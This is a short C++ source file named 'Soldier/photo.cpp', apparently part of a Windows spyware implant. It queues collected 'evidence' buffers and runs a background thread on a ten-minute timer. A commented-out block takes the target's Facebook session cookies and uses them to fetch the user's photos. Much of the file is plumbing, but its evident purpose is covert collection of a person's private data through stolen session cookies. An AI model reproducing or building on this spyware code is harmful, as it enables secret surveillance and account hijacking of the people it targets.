Soldier/photo.cpp
#include <Windows.h>
#include "cookies.h"
#include "globals.h"
#include "social.h"
#include "utils.h"
#include "uthash.h"
#include "zmem.h"
#include "photo.h"
#include "photo_facebook.h"
#ifdef _DEBUG
#include "debug.h"
#endif
PHOTO_LOGS lpPhotoLogs[MAX_PHOTO_QUEUE];
/* common defines */
#ifdef _DEBUG
#define PHOTO_SLEEP 30 // PhotoMain thread sleep in seconds
#else
#define PHOTO_SLEEP 10 * 60 // 10 minutes
#endif
/* log functions */
BOOL QueuePhotoLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
{
if (!lpEvBuff || !dwEvSize)
return FALSE;
for (DWORD i=0; i < MAX_PHOTO_QUEUE; i++)
{
if (lpPhotoLogs[i].dwSize == 0 || lpPhotoLogs[i].lpBuffer == NULL)
{
lpPhotoLogs[i].dwSize = dwEvSize;
lpPhotoLogs[i].lpBuffer = lpEvBuff;
return TRUE;
}
}
return FALSE;
}
/* photo module main function */
// will be used when filsystem photos will be implemented, Facebook photos are run from social.cpp
VOID PhotoMain()
{
while(1)
{
if (bPhotoThread == FALSE)
{
#ifdef _DEBUG
OutputDebug(L"[*] PhotoMain exiting\n");
#endif
hPhotoThread = NULL;
return;
}
if (bCollectEvidences)
{
/*LPSTR strFacebookCookies = GetCookieString(FACEBOOK_DOMAIN);
if (strFacebookCookies)
{
FacebookPhotoHandler(strFacebookCookies);
zfree_s(strFacebookCookies);
}*/
}
MySleep(PHOTO_SLEEP);
}
}